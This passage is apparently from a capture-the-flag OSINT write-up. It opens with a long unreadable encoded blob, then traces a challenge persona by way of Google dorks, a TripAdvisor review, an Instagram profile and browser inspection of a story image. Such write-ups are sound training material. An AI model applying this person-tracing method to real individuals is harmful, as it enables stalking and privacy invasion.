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Having this image, I tried to EXIF it, I tried to search it using the free available reverse image search websites used for OSINT (Google, Bing, Yandex, Tineye) but I was always failing.
Seeing the image it looks like it was shared in a social media network but since we know that not all the shared images are indexed by the search engines so this makes sense. And that's why this part was the most difficult part for me.
And that's where comes the Google dorks tricks. The only thing that we know about this image apart the fact that it seems to be shared on a social media network is it was promoting Hilton hotel.
So by searching for any relation between Eword and Hilton hotel, we can find something that can lead us to the Eword leader.
I tried several search queries until I was satisfied with this one: ``"eword" hilton hotel``.
I accessed that [link](https://www.tripadvisor.com/Hotel_Review-g304088-d600703-Reviews-Hilton_Podgorica_Crna_Gora-Podgorica_Podgorica_Municipality.html) and I searched for that review.
Someone with the name `Wokaihwokomas Kustermann` wrote that feedback on 26/08/2020 which matches with the task time range.
I inspected his profile to make sure I'll not be missing anything.
I found that he was recommending to check his instagram profile.
So, by searching for `Wokaihwokomas Kustermann` on Instagram, I found his profile: [https://www.instagram.com/wokaihwokomaskustermann/](https://www.instagram.com/wokaihwokomaskustermann/)
There was only a shared story that is identical to the image that we were searching for.
In this step, I was stuck again with no other hint because we don't know whether another detail was removed or how can we find the flag until I found that there was another story that I was missing after watching the first story.
Knowing that the user mentioned about a square shaped image and that the Instagram was only showing circular shaped images, I thought about inspecting the image using the Browser's inspection tools (right click -> inspect the element -> select the image -> see the source code of that image -> retrieve the image link -> open it in a new tab).
